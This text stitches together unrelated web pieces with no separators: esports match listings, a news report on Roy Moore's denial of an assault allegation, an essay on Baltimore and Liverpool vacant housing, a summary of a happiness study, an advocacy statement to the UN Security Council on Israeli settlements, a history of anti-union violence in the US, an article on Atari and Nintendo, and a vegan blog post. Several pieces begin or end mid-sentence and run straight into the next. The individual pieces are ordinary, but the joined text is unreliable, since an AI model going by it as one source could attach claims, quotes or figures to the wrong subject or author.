oGsTOPGame 1:Match 2: sCfOuv oGsCezanneGame 1:Match 3: ST_Julyv ZeNEXByunGame 1:Match 4: FOXMoonv FOXLynGame 1:Results:EDIT: Predictions! @pullarius1GOP Alabama Senate candidate Roy Moore is denying that he ever met the woman who on Monday accused him of sexually assaulting her in a diner parking lot in 1977 when she was an underage teenager, calling her allegations "absolutely false," despite his apparent signature in her high school yearbook. "I can tell you without hesitation this is absolutely false. I never did what she said I did. I don't even know the woman. I don't know anything about her," Moore told reporters during a short press conference with his wife, Kayla Moore, standing by his side. His remarks come after a press conference with lawyer Gloria Allred earlier on Monday where Beverly Young Nelson became the fifth woman to publicly accuse Moore of sexual misconduct when she was a 16-year-old high school student. Nelson said Moore, the Etowah County district attorney at the time, had originally offered to drive her home after her waitressing shift ended. She claims he had instead parked his car behind the restaurant and forcefully tried to grope her, take off her top and push her head toward his "crotch."
are urging the city to seek alternatives to widespread demolition. The two organizations call for stabilizing historic vacant properties through new investments in the city’s Vacants to Value program, which seeks to redevelop city-owned vacant properties, and earmarking money for that purpose under Project CORE. Reviving the $1 home scheme may also be a good place to start. Councilor Mary Pat Clarke’s revived the idea this past August and the Housing and Urban Affairs Committee held a hearing last Wednesday to discuss her resolution. Clarke's proposal comes with the backing of H.O.M.E.S. a Baltimore-based community advocacy organization focused on rehabilitating rather than destroying many of the city’s vacant properties. (H.O.M.E.S. stands for Homeownership Opportunity for Mentorship and Economic Success.) The group says under the original scheme, prospective owners would purchase the building for $1 and commit to living in and repairing it. The estimated cost to restore the properties was as a high as $100,000, so the city made low-interest loans available to new owners. With a one percent interest rate, Clarke's resolution notes that new homeowners could pay as little as $300 per month to repay the loan. With the same terms in the 1980s, H.O.M.E.S. says no new owner defaulted on their loans. During the hearing, representatives from Mayor Pugh's administration were less optimistic about the program. They said the federal funding available in the past is gone today, and that more comprehensive block-wide proposals are needed this time. Look to Liverpool, England for inspiration Liverpool, England is one city that has also tackled thousands of vacant properties. Like Baltimore, Liverpool is a port city that experienced a considerable population boom, peaking at over 846,000 people in the 1930s. As with Baltimore, developers built hundreds of thousands of brick row homes to house the city’s ballooning population. However, the shift to containerization made many port workers redundant (a chief source of employment), which, along with general trends toward suburbanization, led to decades of population decline. Liverpool hit a low of 435,000 residents in the 2001 Census. Today, the city is undergoing a renaissance with its population increasing for the first time in decades according to the most recent Census. However, during the period of decline the city and national government implemented a variety of programs to manage its surplus housing. Unfortunately, the plans largely centered on clearing entire neighborhoods. Sykes et al. (2012) provide an excellent overview of this history. They note: … post war clearance was truly comprehensive. The city’s 1966 Housing Plan proposed demolition of 36% of all its homes, and 70% of those in the mainly Victorian [row house] ‘inner areas’… By the mid-1970s some 160,000 people had been moved out of the city as part of this plan. In recent years, residents have resisted efforts to clear neighborhoods. Notable examples include The Welsh Streets, Granby Four Streets and in Anfield by the Liverpool FC stadium. Bowing to pressure to not tear down homes led at one point to a £1 for a home scheme, which was wildly popular with applicants (if not without controversy). In each case, the community sought to modernize and creatively reuse rather than demolish the old but otherwise sturdy buildings. On Granby Street, a group of residents formed a housing cooperative, convinced the city to redirect the demolition funds to them, and began restoring the buildings themselves. Since then, the Tate has recognized their effort by awarding them the Turner Prize, which is ordinarily only given to contemporary artists. On the Welsh Streets, developer Placefirst took over vacant Victorian row homes that the council had acquired through eminent domain and had planned to demolish until a public outcry and national government stepped in to block the plan. Last August, the first set of 24 (out of 300 planned) restored and modernized homes were sold in days, discounting a peculiar notion held by some on the city council that no one wanted to live in row homes anymore. The Eldonian Village is one example that did not involve retaining the existing row homes. Plans by the city to demolish the homes in the neighborhood caught residents by surprise, who successfully organized and played a major role in the redevelopment of the community. The resulting development pattern is not my favorite–entirely single-use, detached homes and culs-de-sac–but by many accounts the community-led effort has been a success. Vacant homes slated for redevelopment in the Welsh Streets neighborhood of Liverpool, England. Image by Maxime Devilliers. Give neighborhoods a chance to redevelop incrementally While Liverpool is rebounding today, Sykes et al. (2012) point out that the promised renewal (and funding) never materialized in many of the inner city row home neighborhoods that were demolished. For cities with surplus housing, the choice seems to be between retaining derelict housing or having derelict brownfield, rarely “clean and green” sites. The former may be preferable. At least the fine-grained row home neighborhoods have the chance to redevelop incrementally, while a large-scale demolition requires a considerable investment to yield what may amount to a coarser grained and less walkable city. Instead, an American developer comparable to Placefirst could receive public financing to restore and modernize some vacant row homes. The city could relax zoning or other restrictions on the use of the abandoned properties, which could spark some creative reuse. Turning over some of the money to the community groups, such as H.O.M.E.S., as happened with Liverpool’s housing cooperatives, could also empower these residents to reactivate their neighborhoods. Reviving the $1 home scheme could enable residents to own a piece of their city. All of these options are messier and potentially harder than clearance, but that very messiness is what can lead to a thriving urban environment. Baltimore should also consider the experience of its neighbor. Not too long ago, DC had plenty of abandoned row homes and a declining population. These homes are now selling for hundreds of thousands (if not millions) of dollars and the population is on the rise. Just as we couldn’t predict the urban renaissance underway in DC and other cities, we can’t predict what circumstances might change to make Baltimore row homes more attractive to potential buyers. Imaginative ideas like the Maglev train, autonomous cars, or a successful Amazon 2.0 bid could ignite demand for the currently empty structures. Maybe the state will finally commit to serious mass transit investments instead of wider highways. Many formerly dilapidated row home neighborhoods in Baltimore have even been restored to life without these technical revolutions. Although a 300,000-person population deficit is daunting, shrinking household sizes mean a smaller population could fill up the same number of buildings. Unfortunately, spending limited resources on wholesale demolition forecloses on all of these possibilities. For their part, the five members of the Housing and Urban Affairs Committee in attendance at the hearing last week, agreed with Clarke and have advanced her $1 homes resolution unanimously for consideration by the full council.Are you really happy? Self-reported well being doesn’t match up with external observation In a recent study published in the Journal of Happiness Studies, researchers discovered that there is a huge difference between how respondents rate their own life satisfaction and how others rate it based on an interview. During the study, which included 500 participants in various parts of Austria, participants were first asked to rate their overall satisfaction with life on a scale of 1 to 10. Participants were then interviewed and given more open-ended questions about good and bad experiences, health, and other aspects of life. Each interview was analyzed by 12 different raters and participants were placed on a new scale from 1 to 11 intended to add more depth to the distinct categories. The new scale included the following categories: 11—Light-hearted happiness: Respondents are authentically pleased with life. Their issues tend to be small and they cope easily. 10—Light-hearted happiness with minor impairments: Respondents are mostly lighthearted. They mention negative circumstances but they don’t really impact overall mood. 9—Resilient happiness: This is similar to the previous category, except the negative circumstances have occurred in a major area of life. These people have strong coping skills and are accepting of life’s challenges. 8—Still positive hedonic balance but impaired in central area: Similar to the previous category, but coping skills are weaker. These people are characterized by resignation (e.g. “I’ve gotten used to it”). 7—Ambiguity: These respondents reported both strong positive and negative experiences and emotions. 6—Balanced: This category is like the Ambiguity category, but less intense. 5—Small emotions/close-lipped: Known as “shallow or indifferent,” these respondents showed no strong negatives or positives. 4—Unfulfilled: Respondents are slightly negative. They show a lack of satisfaction and “seem to live a life they would not have chosen.” They justify or downplay their unmet goals and dreams. 3—Disharmonious life but with support: These respondents are “sad, burdened or stressed, but with positive resources or support.” They have problems in major life areas that impair their mood, but they still have positive experiences or people to bring them joy. 2—Disharmonious life without support: This is like the previous category, but without a positive support system. Life brings these people down, and they are not eager about the future. 1—Dominant depression: Characterized by total despair, unhappiness, hopelessness and dissatisfaction with life’s circumstances. After conducting and analyzing the interviews, researchers found that there were extreme discrepancies between how respondents self-rated their life satisfaction and how they reported their lives in a narrative to the raters. For instance, only 15 people self-rated their satisfaction at a 5 or worse, but external raters gave 40 people ratings of 5 or lower. Even more surprising—only 6 of those low-rated cases matched. The team found that people tended to rate their satisfaction very highly, but when interviewed, described dissatisfaction and unhappiness that led to lower ratings by the researchers. “Considering what people actually report in the interview, some high ratings seem to mainly express that their burden was not worse than normal, unbearable or as a reason to complain,” said Ivo Ponocny, corresponding author of the study. One respondent rated her life satisfaction as a 10—the highest possible score—but raters put her in category 3—“disharmonious life but with support.” The respondent repeatedly complained of dissatisfaction with her work/life balance and regretted having kids too young, but also expressed appreciation for her supportive husband. Not only did self-reports not line up with external ratings, but different raters tended to also rate the same respondent differently. There was little reliable correlation between ratings overall. “Assuming that the interviews create a valid impression of life at all, the ratings obviously do not mean the same to the subject and the observer,” noted Ponocny. Future research is clearly needed to help scientists develop a better understanding of how to reliably measure life satisfaction. One thing is clear from the study, however—people tend to egregiously overinflate their own reports of life satisfaction. It may be because of pressure to sound positive, fear of complaining, or as a defense mechanism. “Good ratings should not be misinterpreted by researchers as indicating lives full of positive emotional experience, at least concerning some part of the population,” Ponocny said. “Doing so will…artificially overestimate well-being.” More research and a better understanding of satisfaction with life will help scientists be able to pinpoint ways to help and support those who are suffering.Statement by Lara Friedman, Americans for Peace Now Delivered at the United Nations Security Council – October 14, 2016 The full statement can be viewed as a pdf here Watch the full testimony here View the post-meeting press conference here. Distinguished members of the Security Council, As a representative of Americans for Peace Now – an organization that is committed to Israel’s existence and its future – it is not easy for me to speak before this body today. It is not easy because while this forum will focus in large part on human rights violations by Israel, there are states represented here whose own human rights records are abysmal. There are even states in this forum that still do not recognize the existence of Israel, 70 years after that nation’s birth and despite its membership in the UN’s General Assembly. It is also not easy for me to speak here today because of the deteriorating political climate in Israel as far as democracy is concerned. For some time now we have been witnessing an ugly campaign against courageous Israeli human rights and civil society NGOs – carried out by reactionary groups in Israel and by the Israeli government itself. Campaigns that target the legitimacy of NGOs like our Israeli sister organization, Shalom Achshav – Peace Now. These groups are being targeted because their work reveals facts that some prefer to hide – facts that challenge the official Israeli government narrative. Yet, I am here today because this institution is too important to boycott or ignore. The Security Council is the most important international body in existence today. It would be irresponsible to miss an opportunity to argue our cause in front of it. It would be unpardonable to allow ourselves to be silenced by the cynicism of some of this body’s member states, whose hatred of Israel may blind them to Israel’s legitimate needs and fears. And it would be inexcusable to allow ourselves to be silenced by the disapproval of some who today equate speaking unpleasant truths about Israeli policies with national betrayal. I am here today because the cause that we work for every day is too important to allow anyone to silence us. Since 1978, our Israeli sister organization, Peace Now, has worked every day to represent and empower an Israeli public that wants peace with the Palestinians. They stand with the countless Israelis who are pushing their government to make peace and end the occupation. They give voice and energy to Israelis – who are fighting to hold their government accountable for policies that undermine the chances of peace – foremost among them, policies that are behind the establishment and expansion of settlements in the occupied territories. And since 1981, the organization I represent – Americans for Peace Now – has worked every day to represent and empower an American public, Jewish and non-Jewish, that supports Peace Now in its work for Israeli-Palestinian peace. We stand with the countless number of Americans who want their government and the international community to support and press both sides to reach an agreement that will end the occupation and lead to peace and security for both peoples. And we give voice and energy to Americans who believe it is important for the U.S. and international community to hold both Israeli and Palestinian leaders accountable for policies that undermine peace – including Israeli settlement policies. Above and beyond all of that, I come here today because I know the facts – facts about trends and developments that we and our colleagues in Peace Now have been documenting for more than two decades. Facts that disclose both the intent and impact of the Israeli government’s settlement policies. Facts that are alarming. The Palestinian people have lived under Israeli military occupation for nearly 50 years. That is a fact. This occupation involves increasingly harsh violations of Palestinian rights, as individuals and as a collective. That, too, is a fact. And the settlement policies of the Israeli government are unilaterally expanding and entrenching this occupation. Here is another fact: This occupation is a threat to Israel’s security and to Israel’s very existence. Israel has the military capability to address any of its external security threats, which indeed exist. It has no effective or moral answer to the security challenges imposed by perpetual occupation, as chillingly embodied by the ongoing wave of attacks against Israelis, in many cases by Palestinian children effectively committing suicide by Israeli soldier. If these policies are not rolled back, they will destroy the possibility of ever reaching a political agreement between Israel and Palestine. If these policies do not end, they will lead inevitably to permanent occupation, and with it, the end of Israel as a democracy and as a state grounded in the Jewish values so proudly expressed in Israel’s Declaration of Independence. Values that are already being undermined today by Israel’s settlement policies. Those who hope for a better future for Israelis and Palestinians should indeed be alarmed. For the most part, the world pays attention to settlement policies only when they are in the headlines – meaning when plans are advanced and approved, or when the Israeli government publishes tenders for new construction. On such occasions, when members of the international community take a stand against settlements, their objections are generally rebuffed by Israeli officials, and the issue fades away. And even when pressure seems to have an effect, when an Israeli government professes its intention to heed international opinion to some degree – like with the so-called 2010 settlement “moratorium,” or with the current pressure on Israel to remove the illegal outpost of Amona – supposed “concessions” on settlements consistently prove counter-productive. The numbers – and these are official Israeli numbers – tell the story. Twenty-three years ago, in 1993, Israel and the PLO signed the Declaration of Principles, also known as the Oslo Accords. Back then, the settler population in the West Bank, excluding East Jerusalem, was around 116,000.[i] At the end of 2015, that number was nearly 390,000.[ii] Looking just at East Jerusalem, in 1993 the Jewish Israeli population was approximately 146,000.[iii] Today it is over 210,000.[iv] This population explosion could not have occurred without Israeli government support and encouragement, including, most obviously, the approval and construction of new housing. And that is exactly what happened. During this same period, 1993 to today, over 50,000[v] settlement units were built in the West Bank, and plus thousands more in East Jerusalem. What about settlement construction just under Prime Minister Netanyahu? 2016 figures are still not complete, but looking at 2009 to 2015 – which included the so-called “moratorium” – more than 11,000[vi] settlement units were established in the West Bank with the approval of Israeli authorities. And in 2015 alone, we are talking about almost 2000[vii] new units in West Bank settlements. But this is only part of the story of how settlements have kept on expanding. The rest of the story is this: there is an entire machine of Israeli policies, active and passive, that is constantly working to support the expansion and entrenchment of settlements. Let me give you some examples. We all have heard the government of Israel claim, when a settlement plan hits the headlines, that whatever is being reported shouldn’t be controversial – either because it’s just a minor bureaucratic step, or because the real approval happened long ago and this latest step is just a formality. We’ve even heard the government claim it should be getting credit for exercising restraint for holding off against settler demands to approve many more new plans. But hidden behind these claims is the fact that there is always a huge bank of approved plans already “in the pipeline” – meaning that even when new approvals stop, construction continues. Peace Now estimates that this settlement pipeline today holds around 30,000 units[viii], ready for construction at any time. Also hidden behind these claims is the fact that according to Israeli policy, construction in the vast majority of settlements—112 out of 126 settlements – can go ahead on an estimated 20,000 of these units in the pipeline without any further action by the government[ix], and based only on the internal decisions of settler authorities. Hidden, too, is the fact that illegal settlement construction – construction undertaken without necessary official Israeli government approval – has become an integral part of the settlement enterprise. In fact, over the past 6 years Peace Now estimates that illegal construction accounted for 15%[x] of total settlement growth. This illegal activity is not just tolerated by the government of Israel – it is actively encouraged – through failure to enforce the rule of law; through the granting of retroactive approvals; through provision of funding; and through political endorsements. We have all also heard Israeli government spokespeople claim that Israel is not establishing new settlements or expanding settlements beyond their current areas. But hidden behind that claim is the fact that just between 2009 and 2015, under Netanyahu, the government of Israel authorized or worked to give legal authorization to at least 26[xi] [xii] settlement sites established by settlers in contravention of Israeli law – often referred to as illegal outposts. These sites are thus being transformed into new official settlements, or into new and often remote “neighborhoods” of existing settlements, dramatically expanding the footprint of those settlements. And in tandem with all of these policies supporting non-stop new construction in settlements, the government of Israel has implemented a range of related policies that further expand and deepen the settlements enterprise. Policies like investing, financially and politically, in industrial zones, touristic facilities, and archaeological sites in the West Bank and East Jerusalem. And policies like building a vast network of roads, tunnels and highways that operate as the arteries of the settlement project – tying settlements to each other and linking them directly and seamlessly into Israel. Finally, there is one additional key policy – invisible to most people – that has further enabled the entrenchment of Israel’s settlement enterprise and that underscores the fundamental rights violations it involves. This is the policy according to which Israeli law follows Israeli citizens who enter or live in the Occupied Territories. This means that Israeli settlers live under Israeli law – no different than if they were living inside Israel – while Palestinians live under military law. This policy has created a dangerous and ugly political reality in the occupied territories – a reality in which two populations live on the same land, under different legal systems, separate and entirely unequal, with the governing authority serving one population at the expense of the other. One population is comprised of privileged Israeli citizens, enjoying the benefits of a prosperous, powerful state, with their rights guaranteed by a democratic government accountable to their votes. The other population is comprised of disenfranchised Palestinians, living under foreign military occupation explicitly designed to protect and promote the interests not of Palestinian residents of the territories, but of Israeli settlers. Defenders of Israel’s settlement policies offer various arguments to justify settlements and their expansion, notwithstanding the fact that according to international law, all settlements are illegal and a violation of Palestinian rights. I want to focus here on two of their main arguments. The first is the argument that the controversy over settlements is overblown, since the built-up area of settlements comprises only around 1% of the West Bank (not including East Jerusalem). This argument is at best ignorant, and at worst deliberately disingenuous. Because since 1967, Israel has taken control of around 50%[xiii] of the land of the West Bank. And almost all of that land has been given to the settlers or used for their benefit. Israel has given almost 10%[xiv] of the West Bank to settlers – by including it in the “municipal area” of settlements. And it has given almost 34%[xv] of the West Bank to settlers – by placing it under the jurisdiction of the Settlement “Regional Councils.” In addition, Israel has taken hundreds of kilometers[xvi] of the West Bank to build infrastructure to serve the settlements, including the network of roads I mentioned earlier. Roads that crisscross the entire West Bank, dividing Palestinian cities and towns from each other, and imposing various barriers to Palestinian movement and access, all for the benefit of the settlements. Israel has used various means to do this, included by declaring much of the West Bank to be “state land,”[xvii] taking over additional land for security purposes,[xviii] [xix] and making it nearly impossible for Palestinians to register claims of ownership to their own land.[xx] The same pattern holds in East Jerusalem – where since 1967, Israel has expropriated around 35%[xxi] of the land and used it almost entirely for settlements. But the reach of the settlements goes even further, because according to Peace Now’s analysis of official Israeli government data, almost one-third[xxii] of land that is included as part of the settlements in the West Bank is actually located on privately owned Palestinian land. The bottom line here is this: while the built-up area of settlements is small, the settlers’ control on the ground is huge, and the impact of settlements on the Palestinian population is far-reaching. The second argument used by defenders of settlements is that most construction today is taking place inside the so-called “settlement blocs.” These are the loosely-defined, ever-expanding areas that the same defenders of settlements say “everybody knows” Israel will keep even under a peace agreement – and therefore, they insist, construction in such areas shouldn’t be treated as controversial. This argument has been gaining currency of late, including with pressure on the United States government to change its policy and cease opposing construction in the blocs. This defense of settlements is at best confused, and at worst intentionally misleading. Because if there are ever again serious negotiations over settlements and territory, the hardest issue to resolve is not going to be the fate of small and isolated settlements – settlements that nobody believes can stay in place under a peace agreement. No, the hardest issue is going to be the fate of the “settlement blocs”: which ones and how many Israel will want to keep; how much territory they take up; how they can be connected to Israel without destroying the contiguity and viability of a Palestinian state with a capital in East Jerusalem; and how and where Israel will find adequate land to use for “land swaps” to offset these blocs. And notably, these “blocs” don’t just include settlements. If you take a radius from the center of a “bloc” like Gush Etzion, Givat Ze’ev, or Ariel, a large percentage of the population – in many cases a majority – is Palestinian. This is why continued expansion of these “blocs” is equally – if not more – harmful to the two-state solution than construction in isolated settlements. The bottom line here is this: Given the facts on the ground today, reaching agreement on these blocs will be difficult. Further expansion of the settlements in these blocs, further growth of the blocs themselves, and the creation of new blocs – all things that are happening now – threaten to make a peace agreement impossible.[xxiii] This is just a small sampling of the Israeli government’s settlement policies – policies that for the most part don’t make headlines and often fly under the radar of the international community. They are implemented continuously, creating facts on the ground that violate Palestinian rights, incrementally and exponentially making a political solution more difficult to reach, and endangering the viability of the two-state solution. Those of us who follow the settlement enterprise and its trajectory over time are in an unparalleled position to judge both the intentions and the outcome of Israeli settlement policies. Looking at the scope, pace and location of settlement expansion, recognizing the vast political, economic, and security resources invested in the settlements enterprise, leads to an inescapable conclusion: these policies reflect a deliberate strategy designed to prevent the emergence of a viable, contiguous Palestinian state. This is the grim reality today. Speaking as someone who cares deeply about Israel, I say to you today: I do not give up hope. Nor do I forget that the two-state solution is not a goal in itself. Rather, it is a political compromise to end the Israeli-Palestinian conflict. It is a solution that has consistently been embraced by majorities of both Israelis and Palestinians and their political leaderships.And it is the only solution that offers Israelis and Palestinians alike the hope for a normal life – a better life – for their children and their children’s children. But with every day that passes, Israeli settlement policies further cement a one-state reality on the ground, making the two-state solution harder to imagine, let alone achieve. Whether a peace agreement is possible at this time or any time soon can be debated endlessly. What cannot be debated is the fact that Israel is a vibrant democracy that has achieved great things in its short existence, and that has the potential for a great future. And what cannot be debated, likewise, is that the settlement policies of the Israeli government are undermining that democracy, distorting the noble Jewish values articulated in its Declaration of Independence, harming Israel’s relations with the world, violating the rights of the Palestinians, and killing the chances of ever achieving Israeli-Palestinian peace in the future. That is why I come before you today – someone who proudly and unapologetically cares about Israel and defends its existence. Someone who, along with my organization Americans for Peace Now and our American and Israeli friends and supporters, cares about Israel too much to stop challenging its self-defeating settlement policies. And that is why, on behalf of Americans for Peace Now, I urge you here today to finally take action in the Security Council to send a clear message to Israel that the international community stands by the two-state solution and unambiguously rejects policies that undermine it – including Israeli settlement policies. Thank you.Massachusetts militiamen with fixed bayonets surround a group of strikers during the Lawrence, Massachusetts Textile Strike of 1912 Anti-union violence in the United States is physical force intended to harm union officials, union organizers, union members, union sympathizers, or their families. It has most commonly been used either during union organizing efforts, or during strikes. The aim most often is to prevent a union from forming, to destroy an existing union, or to reduce the effectiveness of a union or a particular strike action. If strikers prevent people or goods to enter or leave a workplace, violence may be used to allow people and goods to pass the picket line. Violence against unions may be isolated, or may occur as part of a campaign that includes spying, intimidation, impersonation, disinformation, and sabotage.[1] Violence in labor disputes may be the result of unreasonable polarization, or miscalculation. It may be willful and provoked, or senseless and tragic. On some occasions, violence in labor disputes may be purposeful and calculated,[2] for example the hiring and deployment of goon squads to intimidate, threaten or even assault strikers. History [ edit ] Union organizer Frank Little was pulled from his bed and lynched in 1917 because of his union activities Historically, violence against unions has included attacks by detective and guard agencies, such as the Pinkertons, Baldwin Felts, Burns, or Thiel detective agencies; citizens groups, such as the Citizens' Alliance; company guards; police; national guard; or even the military. In particular, there are few curbs on what detective agencies are able to get away with.[3] In the book From Blackjacks To Briefcases, Robert Michael Smith states that during the late nineteenth and early twentieth centuries, anti-union agencies spawned violence and wreaked havoc on the labor movement.[4] One investigator who participated in a congressional inquiry into industrial violence in 1916 concluded that, Espionage is closely related to violence. Sometimes it is the direct cause of violence, and, where that cannot be charged, it is often the indirect cause. If the secret agents of employers, working as members of the labor unions, do not always investigate acts of violence, they frequently encourage them. If they did not, they would not be performing the duties for which they are paid, for they are hired on the theory that labor organizations are criminal in character.[5] In U.S. Senate testimony in 1936 about an employer who wanted to contract with the Pinkerton agency. Known personally to the author of the book The Pinkerton Story, this employer was characterized as a "sincerely upright and Godly man." Yet Pinkerton files record that the employer wanted the agency "to send in some thugs who could beat up the strikers."[6] In 1936, the Pinkerton agency changed its focus from strike-breaking to undercover services.[7] Pinkerton declined the request from this employer.[8] According to Morris Friedman, detective agencies were themselves for-profit companies, and a "bitter struggle" between capital and labor could be counted upon to create "satisfaction and immense profit" for agencies such as the Pinkerton company.[9] Such agencies were in the perfect position to fan suspicion and mistrust "into flames of blind and furious hatred" on the part of the companies.[10] Agencies sell tactics including violence [ edit ] Harry Wellington Laidler wrote a book in 1913 detailing how one of the largest union busters in the United States, Corporations Auxiliary Company, had a sales pitch offering the use of provocation and violence. The agency would routinely tell employers — prospective clients — of the methods used by their undercover operatives,[11] Once the union is in the field its members can keep it from growing if they know how, and our man knows how. Meetings can be set far apart. A contract can at once be entered into with the employer, covering a long period, and made very easy in its terms. However, these tactics may not be good, and the union spirit may be so strong that a big organization cannot be prevented. In this case our man turns extremely radical. He asks for unreasonable things and keeps the union embroiled in trouble. If a strike comes, he will be the loudest man in the bunch, and will counsel violence and get somebody in trouble. The result will be that the union will be broken up."[12] Different types of violence [ edit ] Some anti-union violence appears to be random, such as an incident during the 1912 textile strike in Lawrence, Massachusetts, in which a police officer fired into a crowd of strikers, killing Anna LoPizzo.[13] Anti-union violence may be used as a means to intimidate others, as in the hanging of union organizer Frank Little from a railroad trestle in Butte, Montana. A note was pinned to his body which said, "Others Take Notice! First And Last Warning!" The initial of the last names of seven well-known union activists in the Butte area were on the note, with the "L" for Frank Little circled.[14][15] Anti-union violence may be abrupt and unanticipated. Three years after Frank Little was lynched, a strike by Butte miners was suppressed with gunfire when deputized mine guards suddenly fired upon unarmed picketers in the Anaconda Road Massacre. Seventeen were shot in the back as they tried to flee, and one man died.[16] Death Special. "The machine gun was turned on striking miners and used to riddle the Forbes tent colony."[17] Machine gun equipped armored car built with steel from CF&I's Pueblo steel works, known to the striking miners as the. "The machine gun was turned on striking miners and used to riddle the Forbes tent colony." The unprovoked attack was similar to another event, which had occurred twenty-three years earlier in Pennsylvania. During the Lattimer massacre, nineteen unarmed immigrant coal miners were suddenly gunned down at the Lattimer mine near Hazleton, Pennsylvania, on September 10, 1897.[18][19] The miners, mostly of Polish, Slovak, Lithuanian and German ethnicity, were shot and killed by a Luzerne County sheriff's posse. In this group as well, all of the miners had been shot in the back.[20][21] The shooting followed a brief tussle over the American flag carried by the miners. Their only crime was asserting their right to march in the face of demands that they disperse. In 1927, during a coal strike in Colorado, state police and mine guards fired pistols, rifles and a machine gun into a group of five hundred striking miners and their wives in what came to be called the Columbine Mine Massacre. In this incident as well, many of the miners were immigrants, and there had been a disagreement over the question of trespassing onto company property in the town of Serene, with the miners asserting it was public property because of the post office. There was, once again, a tussle over American flags carried by the strikers. While the Columbine mine shooting was a surprise, newspapers played a deadly role in conjuring the atmosphere of hate in which the violence occurred. Lurid editorials attacked the ethnicity of the strikers.[22] Newspapers began calling for the governor to no longer withhold the "mailed fist", to strike hard and strike swiftly,[23] and for "Machine Guns Manned By Willing Shooters" at more of the state's coal mines.[24] Within days of these editorials, state police and mine guards fired on the miners and their wives, injuring dozens and killing six.[25] In all of the above incidents, the perpetrators were never caught, or went unpunished. An exception resulted from a shooting of strikers at the Williams & Clark Fertilizing Company near the Liebig Fertilizer Works at Carteret, New Jersey in 1915. One striker was killed outright, and more than twenty were injured in an unprovoked attack when deputies fired on strikers who had stopped a train to check for strikebreakers. The strikers found no strikebreakers, and were cheering as they exited the train. Forty deputies approached and suddenly fired on them with revolvers, rifles, and shotguns. As the strikers ran, "the deputies... pursued, firing again and again."[26] According to attending physicians, all the strikers' wounds were on the backs or legs, indicating the guards were pursuing them.[27] A local government official who witnessed the shooting called it entirely unprovoked.[28] Four more of the strikers, all critically injured, would die. Twenty-two of the guards were arrested and the crime was investigated by a Grand Jury; nine deputies were subsequently convicted of manslaughter.[29] Other anti-union violence may seem orchestrated, as in 1914 when mine guards and the state militia fired into a tent colony of striking miners in Colorado, an incident that came to be known as the Ludlow Massacre.[30] During that strike, the company hired the Baldwin Felts agency, which built an armored car so their agents could approach the strikers' tent colonies with impunity. The strikers called it the "Death Special". At the Forbes tent colony, "[The Death Special] opened fire, a protracted spurt that sent some six hundred bullets tearing through the thin tents. One of the shots struck miner Luka Vahernik, fifty, in the head, killing him instantly. Another striker, Marco Zamboni, eighteen... suffered nine bullet wounds to his legs... One tent was later found to have about 150 bullet holes..."[31] After deaths of women and children at Ludlow, [T]he backlash was vicious and bloody. Over the next ten days striking miners poured out their rage in attacks across the coalfields...[32] The U.S. Army was called upon to put an end to the violence, and the strike sputtered to an end that December.[33] Anti-union violence may be devious and subtle, as when union busting specialist Martin Jay Levitt assigned confederates to scratch up cars in the parking lot of a nursing home during an organizing drive, and then blamed it on the union as part of an anti-union campaign.[34] As a result of Operative Smith's "clever and intelligent" work, a number of union organizers received severe beatings at the hands of unknown masked men, presumably in the employ of the company.[35] Friedman offers examples of these incidents: About
has continued to sell its 2600 machine, the original video game machine. The 2600, of which more than 20 million have been sold, does not offer the same quality as the Japanese machines, but it costs only $40. Atari, based in Sunnyvale, Calif., also plans to sell a new, more powerful machine, the 7800, which was introduced several years ago but never brought to market. The 7800, which will sell for about $80, will play cartridges designed for the 2600. It will also have more powerful cartridges. Some Retailers Cautious Nintendo plans to spend $16 million this fall on advertising, Sega more than $9 million and Atari in the ''low millions,'' according to officials of those companies. In its heyday, Atari alone used to spend $75 million on advertising. Most major retailers are carrying the games again, although some remain cautious. Sears, Roebuck & Company, the nation's largest retailer, is carrying the Nintendo system in its Christmas catalogue but not in its stores. K Mart, No. 2, will carry only the Nintendo machine, and will have it in 700 stores by Christmas, a spokesman said. Software developers are even more cautious. Activision continues to produce some games for the Atari 2600 but is not developing new ones. A few computer game manufacturers, such as Broderbund and Electronic Arts, have licensed games to Atari, but Atari will have to spend its own time and money to convert the games for use on its machines. Few companies will develop software for Nintendo and Sega, which rely mainly on an ample supply of games developed in Japan. Both Japanese companies are insisting on manufacturing and distributing all cartridges themselves, a policy the American software vendors do not like. The Japanese companies say it is necessary to prevent the cartridge glut that helped kill the business a few years ago. Nintendo's Goals By all accounts, the biggest seller this Christmas will be Nintendo, which has the broadest distribution and has retailers most excited. Mr. Judy said Nintendo hoped to sell 1.1 million to 1.3 million machines. Advertisement Continue reading the main story ''The arrival of the Nintendo created our interest again,'' said James E. Jones, electronics buyer for Gemco, a discount store chain that is carrying video games for the first time in two years. ''We tried it in a couple of stores over the summer and it did real well.'' Atari has ambitions to sell one million 2600 machines and a far smaller number of 7800 machines. Competitors and some retailers, however, question whether Atari is really committed to the business or is merely seizing an opportunity to sell off inventory. Michael Katz, an Atari vice president, said the company was committed and pointed out that Atari had made its first television commercials in two years. ''If this category is handled right, it can be an ongoing category,'' said Bruce Lowry, president of Sega of America. Mr. Judy of Nintendo agreed: ''We won't experience the boom and we won't experience the bust.''How Veganism Beats the Paradox of Choice Plenty Vegan Blocked Unblock Follow Following Aug 25, 2016 It is 2016. It is YOUR year. You will work out regularly. You will get your finances in order. You will go through your junk drawer. And you WILL eat healthy. You browse Instagram and see that everyone else in the world has their lives together way more than you do. They casually snap photos of everything from their perfectly appointed kitchen (no dishes in the sink) to their bare feet on a beach during a well-earned vacation. They’ve probably read The Life-Changing Magic of Tidying Up and they’ve actually done what minimalist guru Marie Kondo tells them to do. They meditate. With all of the things you are supposed to be mastering (and aren’t), it can feel overwhelming to even begin to make inroads on all of the changes you want to make in your life, all of the personal growth you seek. Put down your phone, go for a walk and take a deep breath. Do not throw in the towel, rebel and run for the McDonald’s and the mall! The key, which you already know, is: baby steps. Let’s start at diet. If you have been thinking about eating vegan for your health for a while now but cannot even imagine adding it to your list of self-improvement to-dos, don’t worry, this one is a piece of (vegan) cake. Seem hard to believe? The secret is this: your choices are limited. Veganism decides your meals for you. When you are trying to eat a more healthful diet, you can look at all of the items on the shelves and the menus and think, “Where do I begin?” But when you restrict your diet to a plant-based one, the items typically in an American diet are immediately cut in… half? A third? A quarter?! Best part: most of those items are the packaged crap you should be avoiding anyway. Sure, you can eat only white pasta, chips and Oreos. Such a diet can technically be vegan. But with a little healthful common sense (eat your veggies, fruit, beans, etc.) the vegan diet can help guide you on your path to wellness. For one thing, you certainly won’t be picking up a pizza from Dominos anymore. That’s a win right there. With the restriction of a vegan diet comes surprising liberation. People can be overwhelmed by choices to the point of inaction. Not you! Sounds like you’ll have a bunch of free time to get everything else in your life in order, 